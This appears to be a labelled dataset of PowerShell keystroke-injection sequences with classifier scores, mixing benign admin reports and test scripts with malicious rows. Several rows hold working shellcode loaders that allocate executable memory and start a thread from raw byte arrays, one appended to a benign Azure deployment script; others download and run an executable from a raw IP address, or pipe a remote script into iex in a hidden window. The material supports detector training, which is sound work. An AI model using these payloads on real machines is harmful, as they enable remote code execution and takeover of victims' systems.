,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1670246e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_it6htkz8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_75.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3613393e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_c28occ9v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.508048e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xce,0xb8,0x6b,0xc1,0x00,0x44,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x47,0x31,0x45,0x18,0x03,0x45,0x18,0x83,0xed,0x97,0x23,0xf5,0xb8,0x8f,0x26,0xf6,0x40,0x4f,0x47,0x7e,0xa5,0x7e,0x47,0xe4,0xad,0xd0,0x77,0x6e,0xe3,0xdc,0xfc,0x22,0x10,0x57,0x70,0xeb,0x17,0xd0,0x3f,0xcd,0x16,0xe1,0x6c,0x2d,0x38,0x61,0x6f,0x62,0x9a,0x58,0xa0,0x77,0xdb,0x9d,0xdd,0x7a,0x89,0x76,0xa9,0x29,0x3e,0xf3,0xe7,0xf1,0xb5,0x4f,0xe9,0x71,0x29,0x07,0x08,0x53,0xfc,0x1c,0x53,0x73,0xfe,0xf1,0xef,0x3a,0x18,0x16,0xd5,0xf5,0x93,0xec,0xa1,0x07,0x72,0x3d,0x49,0xab,0xbb,0xf2,0xb8,0xb5,0xfc,0x34,0x23,0xc0,0xf4,0x47,0xde,0xd3,0xc2,0x3a,0x04,0x51,0xd1,0x9c,0xcf,0xc1,0x3d,0x1d,0x03,0x97,0xb6,0x11,0xe8,0xd3,0x91,0x35,0xef,0x30,0xaa,0x41,0x64,0xb7,0x7d,0xc0,0x3e,0x9c,0x59,0x89,0xe5,0xbd,0xf8,0x77,0x4b,0xc1,0x1b,0xd8,0x34,0x67,0x57,0xf4,0x21,0x1a,0x3a,0x90,0x86,0x17,0xc5,0x60,0x81,0x20,0xb6,0x52,0x0e,0x9b,0x50,0xde,0xc7,0x05,0xa6,0x21,0xf2,0xf2,0x38,0xdc,0xfd,0x02,0x10,0x1a,0xa9,0x52,0x0a,0x8b,0xd2,0x38,0xca,0x34,0x07,0xee,0x9a,0x9a,0xf8,0x4f,0x4b,0x5a,0xa9,0x27,0x81,0x55,0x96,0x58,0xaa,0xbc,0xbf,0xf3,0x50,0x56,0x81,0x6c,0xfe,0x1d,0x69,0x71,0x00,0x60,0xd1,0xfc,0xe6,0x08,0x35,0xa9,0xb1,0xa4,0xac,0xf0,0x4a,0x55,0x30,0x2f,0x37,0x55,0xba,0xdc,0xc7,0x1b,0x4b,0xa8,0xdb,0xcb,0xbb,0xe7,0x86,0x5d,0xc3,0xdd,0xad,0x61,0x51,0xda,0x67,0x36,0xcd,0xe0,0x5e,0x70,0x52,0x1a,0xb5,0x0b,0x5b,0x8e,0x76,0x63,0xa4,0x5e,0x77,0x73,0xf2,0x34,0x77,0x1b,0xa2,0x6c,0x24,0x3e,0xad,0xb8,0x58,0x93,0x38,0x43,0x09,0x40,0xea,0x2b,0xb7,0xbf,0xdc,0xf3,0x48,0xea,0xdc,0xc8,0x9e,0xd2,0xaa,0x20,0x23;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.210682e-05,0.9999479
"win+r powershell enter function Verify-Type { param ( [Parameter(ValueFromPipeline = $true)] $Actua enter l, [Parameter(Mandatory = $true, Position = 0)] [Type]$Expected ) if ($Actu enter al -isnot $Expected) { $message = ""Expected value to be of type $($Expected.Ful enter lName)"" $Actual = ""but got "" + $(if ($null -eq $Actual) { ""'<null>'"" enter enter",1,1,0.00041012716,0.99958986
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_cmlw5rku"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.99996567,3.438811e-05
"powershell ""-JoIN ('12N44N143u40N75u40,47t133t104y154}154,111b155b160,157,162b16 enter 4y50X42u153_145t162t156t145y154b63b62u56N144N154_154N42u51y135,160y165%142y154u1 enter 51X143%40N163N164y141_164y151X143_40_145}170%164}145X162X156y40%111b156t164N120} enter 164%162b40b126u151%162t164u165N141u154N101y154t154u157u143u50u111y156_164%120y16 enter 4X162b40X154%160N101b144u144t162_145b163,163N54N40b165,151N156t164t40b144t167,12 enter 3_151}172u145u54X40b165X151N156%164b40X146b154,101N154b154_157_143N141t164}151y1 enter 57_156}124X171y160%145N54X40}165u151b156X164y40u146y154b120t162b157u164}145y143t enter 164y51%73t133b104y154_154_111X155,160}157b162,164u50X42t153b145N162X156,145N154b enter 63y62%56b144y154N154b42y51_135}160X165y142u154y151u143}40t163N164%141_164y151X14 enter 3t40,145t170t164b145,162b156%40t111}156}164_120}164t162b40t103y162X145X141t164}1 enter 45,124t150,162y145u141}144u50b111N156N164%120X164%162t40%154u160u124u150b162_145 enter y141b144}101,164,164 enter",1,1,6.0596485e-05,0.99993944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_jf63y9pg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.420443e-05
"win+r enter powershell enter enter enter Describe ""TestWSMan tests"" -Tags 'Feature','RequireAdminOnWindows' { enter enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if ( !$IsWindows ) { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter else { enter $testWsman = [Microsoft.WSMan.Management.TestWSManCommand]::new() enter } enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter It ""TestWSmanCommand can be used as API for '<parameter>' with '<value>'"" -TestCases @( enter @{ parameter = ""computername"" ; value = ""foo"" }, enter @{ parameter = ""computername"" ; value = $null ; expected = ""localhost"" }, enter @{ parameter = ""computername"" ; value = ""."" ; expected = ""localhost"" }, enter @{ parameter = ""authentication"" ; value = ""Basic"" }, enter @{ parameter = ""authentication"" ; value = ""CredSSP"" }, enter @{ parameter = ""authentication"" ; value = ""Digest"" }, enter @{ parameter = ""authentication"" ; value = ""Negotiate"" }, enter @{ parameter = ""authentication"" ; value = ""ClientCertificate"" }, enter @{ parameter = ""authentication"" ; value = ""Default"" }, enter @{ parameter = ""authentication"" ; value = ""Kerberos"" }, enter @{ parameter = ""authentication"" ; value = ""None"" }, enter @{ parameter = ""port"" ; value = 5985 }, enter @{ parameter = ""port"" ; value = 8888 }, enter @{ parameter = ""usessl"" ; value = $true }, enter @{ parameter = ""usessl"" ; value = $false }, enter @{ parameter = ""applicationname"" ; value = ""foo"" } enter ) { enter param($parameter, $value, $expected) enter $testWsman.$parameter = $value enter if ($expected -eq $null) { enter $expected = $value enter } enter $testWsman.$parameter | Should -Be $expected enter } enter enter It ""-Authentication for unsupported type should return error"" { enter { Test-WSMan -Authentication foo -ErrorAction Stop } | Should -Throw -ErrorId ""CannotConvertArgumentNoMessage,Microsoft.WSMan.Management.TestWSManCommand"" enter } enter enter It ""Test-WSMan works for <testName>"" -TestCases @( enter @{ testName = ""Null""; computername = $null }, enter @{ testName = ""localhost""; computername = ""localhost"" }, enter @{ testName = ""computername""; computername = $env:COMPUTERNAME } enter ) { enter param($computername) enter $response = Test-WSMan -ComputerName $computername enter $response | Should -Not -BeNullOrEmpty enter $response.PSObject.TypeNames[0] | Should -Be ""System.Xml.XmlElement enter $response.wsmid | Should -Be ""http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"" enter $response.ProtocolVersion | Should -Be ""http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"" enter $response.ProductVendor | Should -Be ""Microsoft Corporation"" enter $response.ProductVersion | Should -Be ""OS: 0.0.0 SP: 0.0 Stack: 3.0"" enter } enter } enter enter",0,0,0.9998373,0.00016268938
"<# File: Sherlock.ps1 Author: @_RastaMouse License: GNU General Public Licen enter se v3.0 #> <# RTM build reference, because I'm stupid and forget... enter",1,1,6.533274e-05,0.9999347
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_0dh8htpr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4561897e-05
"win+r powershell enter Function GetRelativePath{ enter Set-Variable -Name RelativePath -Scope Local -Force enter $RelativePath = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter Return $RelativePath enter Remove-Variable -Name RelativePath -Scope Local -Force enter } enter Function GenerateGUID { enter Set-Variable -Name GetGUID -Scope Local -Force enter $GetGUID = [guid]::NewGuid() enter $GetGUID = $GetGUID.ToString().ToUpper() enter return $GetGUID enter Remove-Variable -Name GetGUID -Scope Local -Force enter } enter Function GetKeyInfo { enter Set-Variable -Name ComponentID -Scope Local -Force enter Set-Variable -Name Description -Scope Local -Force enter Set-Variable -Name StubPath -Scope Local -Force enter Set-Variable -Name Version -Scope Local -Force enter $ComponentID = Read-Host ""Enter the title"" enter $Description = Read-Host ""Enter brief description"" enter $Version = Read-Host ""Enter the version number"" enter $StubPath = Read-Host ""Enter the command line execution string"" enter $StubPath = $StubPath -replace '\\','\\' enter Return $ComponentID, $Description, $Version, $StubPath enter Remove-Variable -Name ComponentID -Scope Local -Force enter Remove-Variable -Name Description -Scope Local -Force enter Remove-Variable -Name StubPath -Scope Local -Force enter Remove-Variable -Name Version -Scope Local -Force enter } enter Function GenerateRegKey ($RelativePath, $GUID, $KeyInfo) { enter Set-Variable -Name File -Scope Local -Force enter Set-Variable -Name Text -Scope Local -Force enter $File = $RelativePath+""ActiveSetup.reg"" enter If (Test-Path $File) { enter Remove-Item -Path $File -Force enter } enter New-Item -Name ActiveSetup.reg -Path $RelativePath -ItemType file -Force enter $Text = ""Windows Registry Editor Version 5.00"" enter Add-Content -Path $File -Value $Text -Force enter $Text = [char]13 enter Add-Content -Path $File -Value $Text -Force enter $Text = ""[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{""+$GUID+""}]"" enter Add-Content -Path $File -Value $Text -Force enter $Text = ""@=""+[char]34+$KeyInfo[1]+[char]34 enter Add-Content -Path $File -Value $Text -Force enter $Text = [char]34+""ComponentID""+[char]34+""=""+[char]34+$KeyInfo[0]+[char]34 enter Add-Content -Path $File -Value $Text -Force enter $Text = [char]34+""StubPath""+[char]34+""=""+[char]34+$KeyInfo[3]+[char]34 enter Add-Content -Path $File -Value $Text -Force enter $Text = [char]34+""Version""+[char]34+""=""+[char]34+$KeyInfo[2]+[char]34 enter Add-Content -Path $File -Value $Text -Force enter Remove-Variable -Name File -Scope Local -Force enter Remove-Variable -Name Text -Scope Local -Force enter } enter Set-Variable -Name GUID -Scope Local -Force enter Set-Variable -Name KeyInfo -Scope Local -Force enter Set-Variable -Name RelativePath -Scope Local -Force enter cls enter $RelativePath = GetRelativePath enter $GUID = GenerateGUID enter $KeyInfo = GetKeyInfo enter GenerateRegKey $RelativePath $GUID $KeyInfo enter Remove-Variable -Name GUID -Scope Local -Force enter Remove-Variable -Name KeyInfo -Scope Local -Force enter Remove-Variable -Name RelativePath -Scope Local -Force enter",0,0,0.9998889,0.0001110576
win+r powershell enter Import-Module -Name (Join-Path -Path $PSScriptRoot -ChildPath 'CarbonDscTest' -R enter esolve) -Force $UserName = 'CarbonDscTestUser' $Password = [Guid]::NewGuid().To enter String() $tempDir = $null Install-User -Credential (New-Credential -UserName $Us enter erName -Password $Password) function New-MockDir { $path = (Join-Path -Path (G enter et-Item -Path 'TestDrive:').FullName -ChildPath ([Guid]::NewGuid().ToString())) enter Install-Directory -Path $path return $path enter enter,1,1,0.0031288185,0.9968712
"win+r enter powershell enter enter enter $omsId = ""<Replace with your OMS ID>"" enter $omsKey = ""<Replace with your OMS key>"" enter $resourceGroup = ""myResourceGroup"" enter $location = ""westeurope"" enter $vmName = ""myVM"" enter $cred = Get-Credential -Message ""Enter a username and password for the virtual machine."" enter New-AzResourceGroup -Name $resourceGroup -Location $location enter New-AzVM ` enter -ResourceGroupName $resourceGroup ` enter -Name $vmName ` enter -Location $location ` enter -ImageName ""Win2016Datacenter"" ` enter -VirtualNetworkName ""myVnet"" ` enter -SubnetName ""mySubnet"" ` enter -SecurityGroupName ""myNetworkSecurityGroup"" ` enter -PublicIpAddressName ""myPublicIp"" ` enter -Credential $cred ` enter -OpenPorts 3389 enter $PublicSettings = New-Object psobject | Add-Member -PassThru NoteProperty workspaceId $omsId | ConvertTo-Json enter $protectedSettings = New-Object psobject | Add-Member -PassThru NoteProperty workspaceKey $omsKey | ConvertTo-Json enter enter Set-AzVMExtension -ExtensionName ""OMS"" -ResourceGroupName $resourceGroup -VMName $vmName ` enter -Publisher ""Microsoft.EnterpriseCloud.Monitoring"" -ExtensionType ""MicrosoftMonitoringAgent"" ` enter -TypeHandlerVersion 1.0 -SettingString $PublicSettings -ProtectedSettingString $protectedSettings ` enter -Location $location enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc0,0xbf,0xf5,0x6e,0xa5,0x30,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x7a,0x18,0x83,0xea,0xfc,0x03,0x7a,0xe1,0x8c,0x50,0xcc,0xe1,0xd3,0x9b,0x2d,0xf1,0xb3,0x12,0xc8,0xc0,0xf3,0x41,0x98,0x72,0xc4,0x02,0xcc,0x7e,0xaf,0x47,0xe5,0xf5,0xdd,0x4f,0x0a,0xbe,0x68,0xb6,0x25,0x3f,0xc0,0x8a,0x24,0xc3,0x1b,0xdf,0x86,0xfa,0xd3,0x12,0xc6,0x3b,0x09,0xde,0x9a,0x94,0x45,0x4d,0x0b,0x91,0x10,0x4e,0xa0,0xe9,0xb5,0xd6,0x55,0xb9,0xb4,0xf7,0xcb,0xb2,0xee,0xd7,0xea,0x17,0x9b,0x51,0xf5,0x74,0xa6,0x28,0x8e,0x4e,0x5c,0xab,0x46,0x9f,0x9d,0x00,0xa7,0x10,0x6c,0x58,0xef,0x96,0x8f,0x2f,0x19,0xe5,0x32,0x28,0xde,0x94,0xe8,0xbd,0xc5,0x3e,0x7a,0x65,0x22,0xbf,0xaf,0xf0,0xa1,0xb3,0x04,0x76,0xed,0xd7,0x9b,0x5b,0x85,0xe3,0x10,0x5a,0x4a,0x62,0x62,0x79,0x4e,0x2f,0x30,0xe0,0xd7,0x95,0x97,0x1d,0x07,0x76,0x47,0xb8,0x43,0x9a,0x9c,0xb1,0x09,0xf2,0x51,0xf8,0xb1,0x02,0xfe,0x8b,0xc2,0x30,0xa1,0x27,0x4d,0x78,0x2a,0xee,0x8a,0x7f,0x01,0x56,0x04,0x7e,0xaa,0xa7,0x0c,0x44,0xfe,0xf7,0x26,0x6d,0x7f,0x9c,0xb6,0x92,0xaa,0x09,0xb2,0x04,0x07,0x9f,0x82,0xad,0xcf,0x1d,0xfb,0x5c,0x4c,0xab,0x1d,0x0e,0x3c,0xfb,0xb1,0xee,0xec,0xbb,0x61,0x86,0xe6,0x33,0x5d,0xb6,0x08,0x9e,0xf6,0x5c,0xe7,0x77,0xae,0xc8,0x9e,0xdd,0x24,0x69,0x5e,0xc8,0x40,0xa9,0xd4,0xff,0xb5,0x67,0x1d,0x75,0xa6,0x1f,0xed,0xc0,0x94,0x89,0xf2,0xfe,0xb3,0x35,0x67,0x05,0x12,0x62,0x1f,0x07,0x43,0x44,0x80,0xf8,0xa6,0xdf,0x09,0x6d,0x09,0xb7,0x75,0x61,0x89,0x47,0x20,0xeb,0x89,0x2f,0x94,0x4f,0xda,0x4a,0xdb,0x45,0x4e,0xc7,0x4e,0x66,0x27,0xb4,0xd9,0x0e,0xc5,0xe3,0x2e,0x91,0x36,0xc6,0xae,0xed,0xe0,0x2e,0xc5,0x1f,0x31;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1244944e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_a1kd1o6v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.401499e-05
"<# .SYNOPSIS Downloads and installs Chocolatey on the local machine. .DESCRI enter PTION Retrieves the Chocolatey nupkg for the latest or a specified version, and enter downloads and installs the application to the local machine. .NOTES ======= enter ============================================================== Copyright 2017 - enter 2020 Chocolatey Software, Inc, and the original authors/contributors from Choc enter olateyGallery enter",1,1,5.9442133e-05,0.9999405
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_5ahky38v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4078625e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install dotnetcore-runtime enter A enter enter,0,0,0.9999597,4.025038e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_9icvxx0t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4106422e-05
"win+r powershell enter delay_medium enter unknown_key_action WINDOWS d enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_medium enter unknown_key_action LEFTARROW enter delay_medium enter enter enter delay_medium enter Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximized enter enter enter",1,1,5.7628567e-05,0.9999424
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_6gzou4wr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4845852e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_tsopi21n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 20 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_20.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4139095e-05
"win+r powershell enter Describe ""Split-Path"" -Tags ""CI"" { It ""Should return a string object when invo enter ked"" { $result = Split-Path . $result | Should -BeOfType String $result = Sp enter lit-Path . -Leaf $result | Should -BeOfType String $result = Split-Path . -Re enter solve $result | Should -BeOfType String } enter enter",1,1,0.007146743,0.9928532
"win+r powershell enter  [CmdletBinding()] param ( [switch] $Balanced, [string] $ConsoleTitle = 'Po enter werScheme', [string] $Custom, [switch] $HighPerformance, enter enter",1,1,0.0020564583,0.9979436
"win+r powershell enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter function Test-ShouldGetPowerShellPath enter { enter $expectedPath = Join-Path $PSHome powershell.exe enter if( (Test-OsIs64Bit) -and (Test-PowerShellIs32Bit) ) enter { enter $expectedPath = $expectedPath -replace 'SysWOW64','sysnative' enter } enter Assert-Equal $expectedPath (Get-PowerShellPath) enter } enter function Test-ShouldGet32BitPowerShellPath enter { enter $expectedPath = Join-Path $PSHome powershell.exe enter if( Test-OSIs64Bit ) enter { enter $expectedPath = $expectedPath -replace 'System32','SysWOW64' enter } enter Assert-Equal $expectedPath (Get-PowerShellPath -x86) enter } enter function Test-ShouldGet64BitPowerShellUnder32BitPowerShell enter { enter if( (Test-OsIs64Bit) -and (Test-PowerShellIs32Bit) ) enter { enter $expectedPath = $PSHome -replace 'SysWOW64','sysnative' enter $expectedPath = Join-Path $expectedPath 'powershell.exe' enter Assert-Equal $expectedPath (Get-PowerShellPath) enter } enter else enter { enter Write-Warning 'This test is only valid if running 32-bit PowerShell on a 64-bit operating system.' enter } enter } enter function Test-ShouldGet32BitPowerShellUnder32BitPowerShell enter { enter if( (Test-OsIs64Bit) -and (Test-PowerShellIs32Bit) ) enter { enter Assert-Equal (Join-Path $PSHome 'powershell.exe') (Get-PowerShellPath -x86) enter } enter else enter { enter Write-Warning 'This test is only valid if running 32-bit PowerShell on a 64-bit operating system.' enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.5357694e-05,0.9999447
"win+r powershell enter  param( $SQLServer = 'STGSQLDOC710', $ScriptDir = '\\xfs3\DataManagement\Fo enter otprints\31177', $Beta = 1, [String[]] $DatabaseList, $FilePrefix = 'Log', [ enter switch]$Log ) $SQuery = ""SELECT StageDB FROM ClientConnection WHERE Beta = "" + enter $Beta enter enter",1,1,0.010933424,0.9890666
win+r enter delay_medium enter powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex enter enter,1,1,6.3709595e-05,0.99993634
"win+r powershell enter $Jged = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Jged - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x36 enter ,0x90,0x9c,0xd3,0xda,0xcd,0xd9,0x74,0x24,0xf4,0x5d,0x29,0xc9,0xb1,0x47,0x31,0x55 enter ,0x13,0x83,0xed,0xfc,0x03,0x55,0x39,0x72,0x69,0x2f,0xad,0xf0,0x92,0xd0,0x2d,0x95 enter ,0x1b,0x35,0x1c,0x95,0x78,0x3d,0x0e,0x25,0x0a,0x13,0xa2,0xce,0x5e,0x80,0x31,0xa2 enter ,0x76,0xa7,0xf2,0x09,0xa1,0x86,0x03,0x21,0x91,0x89,0x87,0x38,0xc6,0x69,0xb6,0xf2 enter ,0x1b,0x6b,0xff,0xef enter enter",1,1,5.4048494e-05,0.999946
